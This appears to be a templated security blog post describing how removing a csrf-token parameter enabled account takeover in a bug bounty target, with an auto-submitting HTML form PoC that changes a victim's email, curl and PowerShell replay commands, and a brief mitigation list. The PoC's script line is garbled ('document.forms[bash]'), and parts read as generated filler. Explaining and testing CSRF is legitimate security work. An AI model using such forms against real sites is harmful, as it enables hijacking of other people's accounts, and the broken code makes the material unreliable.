How to Exploit CSRF Vulnerabilities for Account Takeover (With Bypass Techniques)

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CSRF (Cross-Site Request Forgery) vulnerabilities remain a critical threat in web applications, allowing attackers to force users into executing unintended actions. In this case, two CSRF flaws in a private Bug Bounty Program (BBP) were exploited by simply removing the `csrf-token` POST parameter, leading to Account Takeover (ATO).

You Should Know:

1. Understanding CSRF Exploitation

CSRF attacks trick a victim into submitting a malicious request by exploiting their authenticated session. A common bypass involves:
– Removing CSRF tokens (as seen in this case).
– Using GET instead of POST (if the endpoint accepts it).
– Exploiting weak token validation (predictable or reusable tokens).

2. Manual Exploitation Steps

Here’s how to test for CSRF vulnerabilities:

  1. Intercept a sensitive request (e.g., password change, email update) using Burp Suite.
  2. Remove or alter the CSRF token (set it to empty or a static value).
  3. Replay the request—if it succeeds, CSRF is possible.

Example Exploit Code (HTML PoC):

<html> 
<body>

<form action="https://victim.com/change-email" method="POST"> 
<input type="hidden" name="email" value="[email protected]" /> 
<input type="hidden" name="csrf-token" value="" /> 
<input type="submit" value="Click to Win!" /> 
</form>

<script>document.forms[bash].submit();</script> 
</body> 
</html>

3. Mitigation Techniques

  • Use SameSite cookies (SameSite=Strict or Lax).
  • Implement double-submit cookie pattern.
  • Enforce strict token validation (check origin/referer headers).

4. Linux/Windows Commands for CSRF Testing

  • Linux (curl test): 
    curl -X POST -d "[email protected]&csrf-token=" https://victim.com/update-email -H "Cookie: session=VALID_SESSION"
  • Windows (PowerShell): 
    Invoke-WebRequest -Uri "https://victim.com/update-email" -Method POST -Body "[email protected]&csrf-token=" -Headers @{"Cookie"="session=VALID_SESSION"}

What Undercode Say:

CSRF vulnerabilities are often underestimated but can lead to full account compromise. Always test for token bypasses, weak validation, and misconfigured CORS policies. Automation tools like Burp Suite’s CSRF PoC generator can speed up testing, but manual verification is crucial for edge cases.

Prediction:

As web apps move toward stateless authentication (JWT, OAuth), CSRF risks may decline, but legacy systems will remain vulnerable for years.

Expected Output:

  • CSRF Exploit PoC (HTML form)
  • Burp/curl verification commands
  • Mitigation checklist (SameSite, token validation)

(No relevant URLs were provided in the original post.)

References:

Reported By: Ahmedelqalash %D8%A7%D9%84%D9%84%D9%87%D9%85 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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